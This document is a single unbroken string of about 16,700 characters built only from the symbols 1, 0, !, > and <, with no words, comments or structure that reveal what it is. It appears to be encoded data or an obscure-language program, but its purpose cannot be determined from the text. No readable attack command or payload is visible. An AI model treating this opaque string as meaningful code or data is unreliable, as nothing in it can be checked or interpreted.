!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1!1!1!1!<>1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>10110>10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!10110>10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!<>1!1!1>0>1!1!1>0>10110>10110>1!1!1>0>10110>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1!1!<>1!<>1>0>1!1!1>0>1>0>1!1!<>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1>01010111>01!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1!10110>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1>0><>1>0>1!1!1!1>0>1!10110>1!1!1!1!<>1!<>10110>1!1>0>1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>01010111>01!1!1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!<>1>0>1!1>01010111>01!1>0>1!1!1!1!<>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>10110>1!1>0>1>0><>1>0>1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>10110>1!1!1!1!<>1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>10110>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0><>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1!1!<>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!10110>1!1>01010111>01!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>10110>1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1!1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!10110>1!1>0>101101010111>01>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!10110>10110>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!10110>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!<>1!<>1>0>1!1!1!1>0>1!1!<>1!10110>1!1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1>01010111>010110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!10110>1!1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!<>1!<>1>0>10110>1!1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!<>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>10110>1!1!1!1!1!1!10110>1!1!1>0>1!<>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1>0>10110>10110>1!1!1!1!1>0>1!1!1!1!1!<>1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1>0>10110>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>10110>10110>10110>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!10110>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>01010111>01!10110>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!<>1!1>0>1>0>1!1!1>0>1!1>0>1!<>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>10110>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1!<>1>0>1!1!1>0>1!1!1!1!<>1>0>1!1>0>1!1>01010111>01>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!101101010111>01>0>1!1>0>1!1>0>1>0>1!10110><>1!1!1!1>0>1>0>1!1>0>1>01010111>01>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1>0>101101010111>01!10110>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>10110>10110>1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!<>1!<>10110>1!1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!10110>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!101101010111>01!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>101101010111>01>0>1!1>01010111>01>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!<>1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>10110>10110>1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1>01010111>01>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>101101010111>01!1>0>10110>1!1!1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!1!10110>1!1!1>0>10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!10110>1!1>0>1!1!10110>1!1!1!10110>1!1!1!1!1!<>1!1!1!1!1>0>10110>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1!<>1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<1010111>10111>0101101010111>0101101010111>01!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!10110>1!10110>1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110><>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!10110>1!1!1!10110>1!1!1!1!1!1!10110>101101010111>01>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!<>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0><>1!1>0>1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>10110>1!1!<>1!10110>1!1>0>1!1!1!<>1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0><>1!1!1!1>0>101101010111>01!1>01010111>01!1!10110>1!1>0>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0><>10110>1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!10110>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!10110>1!1!10110>1!1>0>1>0>1!1>0><>1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!10110>1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0><>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!<>1>0>1!10110>1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>10110>1!1!10110>1!1!1>0>1>01010111>01>0>1!1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!10110>10110>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!10110>1!10110>1!1!1!1>0>1!1!10110>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1>0>1!10110>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1!10110>1!1>0>10110>1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!10110>1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>01010111>01!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!<>1>0>1!1!<>1>0>1!1!1>0>1>0>1!1!<>1>0>1!1!1>0>1>0><><>1!1>0>1!1>0>1!1!1>0>1!1>01010111>010110>1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!10110>10110>1!1!1>0>10110>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>101101010111>010110>1!1!1>0>10110>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>01010111>01!1>0>1>0>1!10110>1!1!1!1!1!1!1!10110>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>10110>10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!<>10110>1!1>0>1!1!1!1!1!1!1!1!10110>1!10110>1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>101101010111>01!1>0>1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0><>1>0>1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!10110>101101010111>01!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>01010111>01!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!<>1>0>1!1>0>1!1>0>1!1!<>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!10110><>1!1>0>1!1!1>0>1!1!101101010111>010110>10110>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!<>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!<>1>0>1!1!1>0><>1>0>1!1>0>1!1>0>1!1!<>1>0>1!1!101101010111>01>0>10110>10110>1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1>01010111>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>10110>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!<>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!10110>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!10110>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!<>1>0>1!1!<>1>0>1!1!1!1>0>1!1!<>1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>01010111>01!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1!1!1!1>0>10110>10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0><>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>10110>1!1!1!1>0>1!10110>10110>1!10110>1!10110>10110>1!10110>1!1!1!1!1!10110>1!1>0>10110>1!1>0>1!1!1!1>0>10110>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!<>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>10110>1!1>0>1!10110>1!1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>10110>1!10110>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>10110>10110>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!<>1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!10110>10110>1!1!1!<>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1>01010111>01>0>1!1!1>0>1!10110>1!1>01010111>01>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>10110>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!1!<>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!<>1>0>1!1!<>1!10110>1!1!1!1!<>1!1!1!1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1>0>10110>10110>1!1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>10110><>1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1!1>0>1!1!10110>10110>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!10110>1!1>0>1!1!1!1>0><>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!<>1!1!1>0>1>0>1!1!1!<>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1011